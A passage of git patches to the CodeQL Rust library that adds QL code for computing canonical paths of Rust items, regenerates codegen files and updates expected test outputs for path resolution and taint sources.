sufficient condition for an edge to dominate some + * block, and therefore `dominatingEdge(bb1, bb2) and bb2.dominates(bb3)` + * means that the edge `(bb1, bb2)` dominates `bb3`. */ pragma[nomagic] predicate dominatingEdge(BasicBlock bb1, BasicBlock bb2) { From b7f8b79f0eb12f7755ecf0e6e62602d4e9681074 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Thu, 20 Mar 2025 20:54:50 +0100 Subject: [PATCH 257/535] Rust: Calculate canonical paths in QL --- .../dataflow/internal/DataFlowConsistency.qll | 22 ++ .../elements/internal/AddressableImpl.qll | 35 +- .../codeql/rust/frameworks/stdlib/Stdlib.qll | 22 +- .../codeql/rust/internal/PathResolution.qll | 344 +++++++++++++++++- .../internal/PathResolutionConsistency.qll | 9 + .../telemetry/RustAnalyzerComparison.qll | 5 + .../canonical_path/canonical_paths.expected | 23 ++ .../canonical_path/canonical_paths.ql | 5 + .../canonical_paths.expected | 23 ++ 9 files changed, 463 insertions(+), 25 deletions(-) diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll index f8e24c4c34a9..f0dc961a9f93 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll @@ -29,3 +29,25 @@ private module Input implements InputSig { } import MakeConsistency +private import codeql.rust.dataflow.internal.ModelsAsData + +query predicate missingMadSummaryCanonicalPath(string crate, string path, Addressable a) { + summaryModel(crate, path, _, _, _, _, _) and + a.getCrateOrigin() = crate and + a.getExtendedCanonicalPath() = path and + not exists(a.getCanonicalPath()) +} + +query predicate missingMadSourceCanonicalPath(string crate, string path, Addressable a) { + sourceModel(crate, path, _, _, _, _) and + a.getCrateOrigin() = crate and + a.getExtendedCanonicalPath() = path and + not exists(a.getCanonicalPath()) +} + +query predicate missingMadSinkCanonicalPath(string crate, string path, Addressable a) { + sinkModel(crate, path, _, _, _, _) and + a.getCrateOrigin() = crate and + a.getExtendedCanonicalPath() = path and + not exists(a.getCanonicalPath()) +} diff --git a/rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll index b3fe47b294a2..b38ddc4fcb6a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll @@ -1,4 +1,3 @@ -// generated by codegen, remove this comment if you wish to edit this file /** * This module provides a hand-modifiable wrapper around the generated class `Addressable`. * @@ -12,10 +11,42 @@ private import codeql.rust.elements.internal.generated.Addressable * be referenced directly. */ module Impl { + private import rust + private import codeql.rust.internal.PathResolution + /** * Something that can be addressed by a path. * * TODO: This does not yet include all possible cases. */ - class Addressable extends Generated::Addressable { } + class Addressable extends Generated::Addressable { + /** + * Gets the canonical path of this item, if any. + * + * The crate `c` is the root of the path. + * + * See [The Rust Reference][1] for more details. + * + * [1]: https://doc.rust-lang.org/reference/paths.html#canonical-paths + */ + string getCanonicalPath(Crate c) { result = this.(ItemNode).getCanonicalPath(c) } + + /** + * Gets the canonical path of this item, if any. + * + * See [The Rust Reference][1] for more details. + * + * [1]: https://doc.rust-lang.org/reference/paths.html#canonical-paths + */ + string getCanonicalPath() { result = this.getCanonicalPath(_) } + + /** + * Holds if this item has a canonical path. + * + * See [The Rust Reference][1] for more details. + * + * [1]: https://doc.rust-lang.org/reference/paths.html#canonical-paths + */ + predicate hasCanonicalPath() { exists(this.getCanonicalPath()) } + } } diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll index 0ba90bc2e346..84ee379773a1 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll @@ -28,16 +28,7 @@ private class StartswithCall extends Path::SafeAccessCheck::Range, CfgNodes::Met * [1]: https://doc.rust-lang.org/std/option/enum.Option.html */ class OptionEnum extends Enum { - OptionEnum() { - // todo: replace with canonical path, once calculated in QL - exists(Crate core, Module m | - core.getName() = "core" and - m = core.getModule().getItemList().getAnItem() and - m.getName().getText() = "option" and - this = m.getItemList().getAnItem() and - this.getName().getText() = "Option" - ) - } + OptionEnum() { this.getCanonicalPath() = "core::option::Option" } /** Gets the `Some` variant. */ Variant getSome() { result = this.getVariant("Some") } @@ -49,16 +40,7 @@ class OptionEnum extends Enum { * [1]: https://doc.rust-lang.org/stable/std/result/enum.Result.html */ class ResultEnum extends Enum { - ResultEnum() { - // todo: replace with canonical path, once calculated in QL - exists(Crate core, Module m | - core.getName() = "core" and - m = core.getModule().getItemList().getAnItem() and - m.getName().getText() = "result" and - this = m.getItemList().getAnItem() and - this.getName().getText() = "Result" - ) - } + ResultEnum() { this.getCanonicalPath() = "core::result::Result" } /** Gets the `Ok` variant. */ Variant getOk() { result = this.getVariant("Ok") } diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 9009c2626aa0..6be07a62f7f5 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -225,6 +225,45 @@ abstract class ItemNode extends Locatable { ) } + /** Holds if this item has a canonical path belonging to the crate `c`. */ + abstract predicate hasCanonicalPath(Crate c); + + /** Holds if this node provides a canonical path prefix for `child` in crate `c`. */ + pragma[nomagic] + predicate providesCanonicalPathPrefixFor(Crate c, ItemNode child) { + child.getImmediateParent() = this and + this.hasCanonicalPath(c) + } + + /** Holds if this node has a canonical path prefix in crate `c`. */ + pragma[nomagic] + final predicate hasCanonicalPathPrefix(Crate c) { + any(ItemNode parent).providesCanonicalPathPrefixFor(c, this) + } + + /** + * Gets the canonical path of this item, if any. + * + * See [The Rust Reference][1] for more details. + * + * [1]: https://doc.rust-lang.org/reference/paths.html#canonical-paths + */ + cached + abstract string getCanonicalPath(Crate c); + + /** Gets the canonical path prefix that this node provides for `child`. */ + pragma[nomagic] + string getCanonicalPathPrefixFor(Crate c, ItemNode child) { + this.providesCanonicalPathPrefixFor(c, child) and + result = this.getCanonicalPath(c) + } + + /** Gets the canonical path prefix of this node, if any. */ + pragma[nomagic] + final string getCanonicalPathPrefix(Crate c) { + result = any(ItemNode parent).getCanonicalPathPrefixFor(c, this) + } + /** Gets the location of this item. */ Location getLocation() { result = super.getLocation() } } @@ -269,6 +308,10 @@ private class SourceFileItemNode extends ModuleLikeNode, SourceFile { override Visibility getVisibility() { none() } override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } } class CrateItemNode extends ItemNode instanceof Crate { @@ -331,12 +374,48 @@ class CrateItemNode extends ItemNode instanceof Crate { override Visibility getVisibility() { none() } override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { c = this } + + override predicate providesCanonicalPathPrefixFor(Crate c, ItemNode child) { + this.hasCanonicalPath(c) and + exists(ModuleLikeNode m | + child.getImmediateParent() = m and + not m = child.(SourceFileItemNode).getSuper() + | + m = super.getModule() // the special `crate` root module inserted by the extractor + or + m = super.getSourceFile() + ) + } + + override string getCanonicalPath(Crate c) { c = this and result = Crate.super.getName() } } /** An item that can occur in a trait or an `impl` block. */ abstract private class AssocItemNode extends ItemNode, AssocItem { /** Holds if this associated item has an implementation. */ abstract predicate hasImplementation(); + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = this.getCanonicalPathPrefix(c) + or + i = 1 and + result = "::" + or + i = 2 and + result = this.getName() + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [0 .. 2] | this.getCanonicalPathPart(c, i) order by i) + } } private class ConstItemNode extends AssocItemNode instanceof Const { @@ -366,6 +445,26 @@ private class EnumItemNode extends ItemNode instanceof Enum { override Visibility getVisibility() { result = Enum.super.getVisibility() } override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = this.getCanonicalPathPrefix(c) + or + i = 1 and + result = "::" + or + i = 2 and + result = this.getName() + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [0 .. 2] | this.getCanonicalPathPart(c, i) order by i) + } } private class VariantItemNode extends ItemNode instanceof Variant { @@ -380,6 +479,26 @@ private class VariantItemNode extends ItemNode instanceof Variant { } override Visibility getVisibility() { result = super.getEnum().getVisibility() } + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = this.getCanonicalPathPrefix(c) + or + i = 1 and + result = "::" + or + i = 2 and + result = this.getName() + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [0 .. 2] | this.getCanonicalPathPart(c, i) order by i) + } } class FunctionItemNode extends AssocItemNode instanceof Function { @@ -457,6 +576,75 @@ class ImplItemNode extends ImplOrTraitItemNode instanceof Impl { override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } override Visibility getVisibility() { result = Impl.super.getVisibility() } + + override predicate hasCanonicalPath(Crate c) { this.resolveSelfTy().hasCanonicalPathPrefix(c) } + + /** + * Holds if `(c1, c2)` forms a pair of crates for the type and trait + * being implemented, for which a canonical path can be computed. + * + * This is the case when either the type and the trait belong to the + * same crate, or when they belong to different crates where one depends + * on the other. + */ + pragma[nomagic] + private predicate selfTraitCratePair(Crate c1, Crate c2) { + this.hasCanonicalPath(pragma[only_bind_into](c1)) and + exists(TraitItemNode trait | + trait = this.resolveTraitTy() and + trait.hasCanonicalPath(c2) and + if this.hasCanonicalPath(c2) + then c1 = c2 + else ( + c2 = c1.getADependency() or c1 = c2.getADependency() + ) + ) + } + + pragma[nomagic] + private string getTraitCanonicalPath(Crate c) { + result = this.resolveTraitTy().getCanonicalPath(c) + } + + pragma[nomagic] + private string getCanonicalPathTraitPart(Crate c) { + exists(Crate c2 | + this.selfTraitCratePair(c, c2) and + result = this.getTraitCanonicalPath(c2) + ) + } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = "<" + or + i = 1 and + result = this.resolveSelfTy().getCanonicalPath(c) + or + if exists(this.getTraitPath()) + then + i = 2 and + result = " as " + or + i = 3 and + result = this.getCanonicalPathTraitPart(c) + or + i = 4 and + result = ">" + else ( + i = 2 and + result = ">" + ) + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + exists(int m | if exists(this.getTraitPath()) then m = 4 else m = 2 | + result = strictconcat(int i | i in [0 .. m] | this.getCanonicalPathPart(c, i) order by i) + ) + } } private class MacroCallItemNode extends AssocItemNode instanceof MacroCall { @@ -469,6 +657,20 @@ private class MacroCallItemNode extends AssocItemNode instanceof MacroCall { override TypeParam getTypeParam(int i) { none() } override Visibility getVisibility() { none() } + + override predicate providesCanonicalPathPrefixFor(Crate c, ItemNode child) { + any(ItemNode parent).providesCanonicalPathPrefixFor(c, this) and + child.getImmediateParent() = this + } + + override string getCanonicalPathPrefixFor(Crate c, ItemNode child) { + result = this.getCanonicalPathPrefix(c) and + this.providesCanonicalPathPrefixFor(c, child) + } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } } private class ModuleItemNode extends ModuleLikeNode instanceof Module { @@ -479,6 +681,43 @@ private class ModuleItemNode extends ModuleLikeNode instanceof Module { override Visibility getVisibility() { result = Module.super.getVisibility() } override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + override predicate providesCanonicalPathPrefixFor(Crate c, ItemNode child) { + this.hasCanonicalPath(c) and + ( + exists(SourceFile f | + fileImport(this, f) and + sourceFileEdge(f, _, child) + ) + or + this = child.getImmediateParent() + or + exists(ItemNode mid | + this.providesCanonicalPathPrefixFor(c, mid) and + mid.(MacroCallItemNode) = child.getImmediateParent() + ) + ) + } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = this.getCanonicalPathPrefix(c) + or + i = 1 and + result = "::" + or + i = 2 and + result = this.getName() + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [0 .. 2] | this.getCanonicalPathPart(c, i) order by i) + } } private class StructItemNode extends ItemNode instanceof Struct { @@ -494,6 +733,26 @@ private class StructItemNode extends ItemNode instanceof Struct { override Visibility getVisibility() { result = Struct.super.getVisibility() } override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = this.getCanonicalPathPrefix(c) + or + i = 1 and + result = "::" + or + i = 2 and + result = this.getName() + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [0 .. 2] | this.getCanonicalPathPart(c, i) order by i) + } } class TraitItemNode extends ImplOrTraitItemNode instanceof Trait { @@ -514,6 +773,43 @@ class TraitItemNode extends ImplOrTraitItemNode instanceof Trait { override Visibility getVisibility() { result = Trait.super.getVisibility() } override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + override predicate providesCanonicalPathPrefixFor(Crate c, ItemNode child) { + this.hasCanonicalPath(c) and + child = this.getAnAssocItem() + } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = "<_ as " + or + i = 1 and + result = this.getCanonicalPathPrefix(c) + or + i = 2 and + result = "::" + or + i = 3 and + result = this.getName() + or + i = 4 and + result = ">" + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [1 .. 3] | this.getCanonicalPathPart(c, i) order by i) + } + + language[monotonicAggregates] + override string getCanonicalPathPrefixFor(Crate c, ItemNode child) { + this.providesCanonicalPathPrefixFor(c, child) and + result = strictconcat(int i | i in [0 .. 4] | this.getCanonicalPathPart(c, i) order by i) + } } class TypeAliasItemNode extends AssocItemNode instanceof TypeAlias { @@ -536,6 +832,26 @@ private class UnionItemNode extends ItemNode instanceof Union { override Visibility getVisibility() { result = Union.super.getVisibility() } override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = this.getCanonicalPathPrefix(c) + or + i = 1 and + result = "::" + or + i = 2 and + result = this.getName() + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [0 .. 2] | this.getCanonicalPathPart(c, i) order by i) + } } private class UseItemNode extends ItemNode instanceof Use { @@ -546,6 +862,10 @@ private class UseItemNode extends ItemNode instanceof Use { override Visibility getVisibility() { result = Use.super.getVisibility() } override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } } private class BlockExprItemNode extends ItemNode instanceof BlockExpr { @@ -556,6 +876,10 @@ private class BlockExprItemNode extends ItemNode instanceof BlockExpr { override Visibility getVisibility() { none() } override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } } class TypeParamItemNode extends ItemNode instanceof TypeParam { @@ -621,6 +945,10 @@ class TypeParamItemNode extends ItemNode instanceof TypeParam { override TypeParam getTypeParam(int i) { none() } override Location getLocation() { result = TypeParam.super.getName().getLocation() } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } } /** Holds if `item` has the name `name` and is a top-level item inside `f`. */ @@ -1151,8 +1479,8 @@ private module Debug { private Locatable getRelevantLocatable() { exists(string filepath, int startline, int startcolumn, int endline, int endcolumn | result.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) and - filepath.matches("%/test_logging.rs") and - startline = 163 + filepath.matches("%/term.rs") and + startline = [71] ) } @@ -1160,7 +1488,7 @@ private module Debug { RelevantPath p, string name, Namespace ns, ItemNode encl, string path ) { p = getRelevantLocatable() and - unqualifiedPathLookup(p, name, ns, encl) and + unqualifiedPathLookup(encl, name, ns, p) and path = p.toStringDebug() } @@ -1188,4 +1516,14 @@ private module Debug { m = getRelevantLocatable() and fileImport(m, f) } + + predicate debugPreludeEdge(SourceFile f, string name, ItemNode i) { + preludeEdge(f, name, i) and + f = getRelevantLocatable() + } + + string debugGetCanonicalPath(ItemNode i, Crate c) { + result = i.getCanonicalPath(c) and + i = getRelevantLocatable() + } } diff --git a/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll b/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll index a8f581aabdf9..2175dea37133 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll @@ -38,6 +38,12 @@ query predicate multipleTupleFields(FieldExpr fe, TupleField field) { strictcount(fe.getTupleField()) > 1 } +/** Holds if `p` may resolve to multiple items including `i`. */ +query predicate multipleCanonicalPaths(ItemNode i, Crate c, string path) { + path = i.getCanonicalPath(c) and + strictcount(i.getCanonicalPath(c)) > 1 +} + /** * Gets counts of path resolution inconsistencies of each type. */ @@ -53,4 +59,7 @@ int getPathResolutionInconsistencyCounts(string type) { or type = "Multiple tuple fields" and result = count(FieldExpr fe | multipleTupleFields(fe, _) | fe) + or + type = "Multiple canonical paths" and + result = count(ItemNode i | multipleCanonicalPaths(i, _, _) | i) } diff --git a/rust/ql/src/queries/telemetry/RustAnalyzerComparison.qll b/rust/ql/src/queries/telemetry/RustAnalyzerComparison.qll index d62e5ec33639..e68306a3cf9e 100644 --- a/rust/ql/src/queries/telemetry/RustAnalyzerComparison.qll +++ b/rust/ql/src/queries/telemetry/RustAnalyzerComparison.qll @@ -145,3 +145,8 @@ private module QlCallGraph implements CompareSig { } module CallGraphCompare = Compare; + +predicate qlMissingCanonicalPath(Addressable a, string path) { + path = a.getExtendedCanonicalPath() and + not exists(a.getCanonicalPath(_)) +} diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected index 8395c20a00a5..69ea1bb7b0e3 100644 --- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected @@ -1,3 +1,26 @@ +canonicalPath +| anonymous.rs:3:1:32:1 | fn canonicals | test::anonymous::canonicals | +| anonymous.rs:34:1:36:1 | fn other | test::anonymous::other | +| lib.rs:1:1:1:14 | mod anonymous | test::anonymous | +| lib.rs:2:1:2:12 | mod regular | test::regular | +| regular.rs:1:1:2:18 | struct Struct | test::regular::Struct | +| regular.rs:4:1:6:1 | trait Trait | test::regular::Trait | +| regular.rs:5:5:5:16 | fn f | <_ as test::regular::Trait>::f | +| regular.rs:8:1:10:1 | impl Trait for Struct { ... } | | +| regular.rs:9:5:9:18 | fn f | ::f | +| regular.rs:12:1:14:1 | impl Struct { ... } | | +| regular.rs:13:5:13:18 | fn g | ::g | +| regular.rs:16:1:18:1 | trait TraitWithBlanketImpl | test::regular::TraitWithBlanketImpl | +| regular.rs:17:5:17:16 | fn h | <_ as test::regular::TraitWithBlanketImpl>::h | +| regular.rs:24:1:24:12 | fn free | test::regular::free | +| regular.rs:26:1:32:1 | fn usage | test::regular::usage | +| regular.rs:34:1:38:1 | enum MyEnum | test::regular::MyEnum | +| regular.rs:35:5:35:12 | Variant1 | test::regular::MyEnum::Variant1 | +| regular.rs:36:5:36:19 | Variant2 | test::regular::MyEnum::Variant2 | +| regular.rs:37:5:37:25 | Variant3 | test::regular::MyEnum::Variant3 | +| regular.rs:40:1:46:1 | fn enum_qualified_usage | test::regular::enum_qualified_usage | +| regular.rs:48:1:55:1 | fn enum_unqualified_usage | test::regular::enum_unqualified_usage | +| regular.rs:57:1:63:1 | fn enum_match | test::regular::enum_match | canonicalPaths | anonymous.rs:1:1:1:26 | use ...::Trait | None | None | | anonymous.rs:3:1:32:1 | fn canonicals | repo::test | crate::anonymous::canonicals | diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql index 7488d699087c..16aa82eee21c 100644 --- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql @@ -1,6 +1,11 @@ import rust import TestUtils +query predicate canonicalPath(Addressable a, string path) { + toBeTested(a) and + path = a.getCanonicalPath(_) +} + query predicate canonicalPaths(Item i, string origin, string path) { toBeTested(i) and ( diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected index 878cb1fc7c9d..2605a806f6f7 100644 --- a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected @@ -1,3 +1,26 @@ +canonicalPath +| anonymous.rs:6:1:35:1 | fn canonicals | test::anonymous::canonicals | +| anonymous.rs:37:1:39:1 | fn other | test::anonymous::other | +| lib.rs:1:1:1:14 | mod anonymous | test::anonymous | +| lib.rs:2:1:2:12 | mod regular | test::regular | +| regular.rs:4:1:5:18 | struct Struct | test::regular::Struct | +| regular.rs:7:1:9:1 | trait Trait | test::regular::Trait | +| regular.rs:8:5:8:16 | fn f | <_ as test::regular::Trait>::f | +| regular.rs:11:1:13:1 | impl Trait for Struct { ... } | | +| regular.rs:12:5:12:18 | fn f | ::f | +| regular.rs:15:1:17:1 | impl Struct { ... } | | +| regular.rs:16:5:16:18 | fn g | ::g | +| regular.rs:19:1:21:1 | trait TraitWithBlanketImpl | test::regular::TraitWithBlanketImpl | +| regular.rs:20:5:20:16 | fn h | <_ as test::regular::TraitWithBlanketImpl>::h | +| regular.rs:27:1:27:12 | fn free | test::regular::free | +| regular.rs:29:1:35:1 | fn usage | test::regular::usage | +| regular.rs:37:1:41:1 | enum MyEnum | test::regular::MyEnum | +| regular.rs:38:5:38:12 | Variant1 | test::regular::MyEnum::Variant1 | +| regular.rs:39:5:39:19 | Variant2 | test::regular::MyEnum::Variant2 | +| regular.rs:40:5:40:25 | Variant3 | test::regular::MyEnum::Variant3 | +| regular.rs:43:1:49:1 | fn enum_qualified_usage | test::regular::enum_qualified_usage | +| regular.rs:51:1:58:1 | fn enum_unqualified_usage | test::regular::enum_unqualified_usage | +| regular.rs:60:1:66:1 | fn enum_match | test::regular::enum_match | canonicalPaths | anonymous.rs:4:1:4:26 | use ...::Trait | None | None | | anonymous.rs:6:1:35:1 | fn canonicals | None | None | From 93c8507ebcdf06524e19e2f6bd10f7f06e814184 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 1 Apr 2025 09:20:32 +0200 Subject: [PATCH 258/535] Rust: Run codegen --- rust/ql/.generated.list | 1 - rust/ql/.gitattributes | 1 - rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll | 1 + 3 files changed, 1 insertion(+), 2 deletions(-) diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index b2c870d6270d..051cf9f89373 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -192,7 +192,6 @@ lib/codeql/rust/elements/YeetExpr.qll 4172bf70de31cab17639da6eed4a12a7afcefd7aa9 lib/codeql/rust/elements/YieldExpr.qll de2dc096a077f6c57bba9d1c2b2dcdbecce501333753b866d77c3ffbe06aa516 1f3e8949689c09ed356ff4777394fe39f2ed2b1e6c381fd391790da4f5d5c76a lib/codeql/rust/elements/internal/AbiConstructor.qll 4484538db49d7c1d31c139f0f21879fceb48d00416e24499a1d4b1337b4141ac 460818e397f2a1a8f2e5466d9551698b0e569d4640fcb87de6c4268a519b3da1 lib/codeql/rust/elements/internal/AbiImpl.qll 01439712ecadc9dc8da6f74d2e19cee13c77f8e1e25699055da675b2c88cb02d dcc9395ef8abd1af3805f3e7fcbc2d7ce30affbce654b6f5e559924768db403c -lib/codeql/rust/elements/internal/AddressableImpl.qll e01a6104980960f5708d5a0ada774ba21db9a344e33deeaf3d3239c627268c77 b8bfc711b267df305ac9fe5f6a994f051ddeca7fc95dacd76d1bae2d4fa7adde lib/codeql/rust/elements/internal/ArgListConstructor.qll a73685c8792ae23a2d628e7357658efb3f6e34006ff6e9661863ef116ec0b015 0bee572a046e8dfc031b1216d729843991519d94ae66280f5e795d20aea07a22 lib/codeql/rust/elements/internal/ArgListImpl.qll 19664651c06b46530f0ae5745ccb3233afc97b9152e053761d641de6e9c62d38 40af167e571f5c255f264b3be7cc7f5ff42ec109661ca03dcee94e92f8facfc6 lib/codeql/rust/elements/internal/ArrayExprInternal.qll 07a219b3d3fba3ff8b18e77686b2f58ab01acd99e0f5d5cad5d91af937e228f5 7528fc0e2064c481f0d6cbff3835950a044e429a2cd00c4d8442d2e132560d37 diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index 3dca1a2cbfb0..e937789f9078 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -194,7 +194,6 @@ /lib/codeql/rust/elements/YieldExpr.qll linguist-generated /lib/codeql/rust/elements/internal/AbiConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/AbiImpl.qll linguist-generated -/lib/codeql/rust/elements/internal/AddressableImpl.qll linguist-generated /lib/codeql/rust/elements/internal/ArgListConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/ArgListImpl.qll linguist-generated /lib/codeql/rust/elements/internal/ArrayExprInternal.qll linguist-generated diff --git a/rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll index b38ddc4fcb6a..cea40b66aeea 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll @@ -14,6 +14,7 @@ module Impl { private import rust private import codeql.rust.internal.PathResolution + // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * Something that can be addressed by a path. * From 053da5530fda1379fe793775932f042eb0374123 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 21 May 2025 10:17:14 +0100 Subject: [PATCH 259/535] Rust: Accept test changes after merge with main. --- .../sources/CONSISTENCY/ExtractionConsistency.expected | 2 -- .../sources/CONSISTENCY/PathResolutionConsistency.expected | 3 --- .../test/library-tests/dataflow/sources/TaintSources.expected | 2 ++ 3 files changed, 2 insertions(+), 5 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected index 9b32055d17f4..e69de29bb2d1 100644 --- a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected +++ b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected @@ -1,2 +0,0 @@ -extractionWarning -| target/debug/build/typenum-a2c428dcba158190/out/tests.rs:1:1:1:1 | semantic analyzer unavailable (not included in files loaded from manifest) | diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected index 0819f6080243..e69de29bb2d1 100644 --- a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected @@ -1,3 +0,0 @@ -multipleMethodCallTargets -| test.rs:618:25:618:49 | address.to_socket_addrs() | file://:0:0:0:0 | fn to_socket_addrs | -| test.rs:618:25:618:49 | address.to_socket_addrs() | file://:0:0:0:0 | fn to_socket_addrs | diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index 300773377323..da3b69eb0507 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -59,6 +59,8 @@ | test.rs:444:31:444:45 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:449:22:449:46 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:455:26:455:29 | path | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:455:26:455:29 | path | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:456:31:456:39 | file_name | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:456:31:456:39 | file_name | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:462:22:462:41 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:472:20:472:38 | 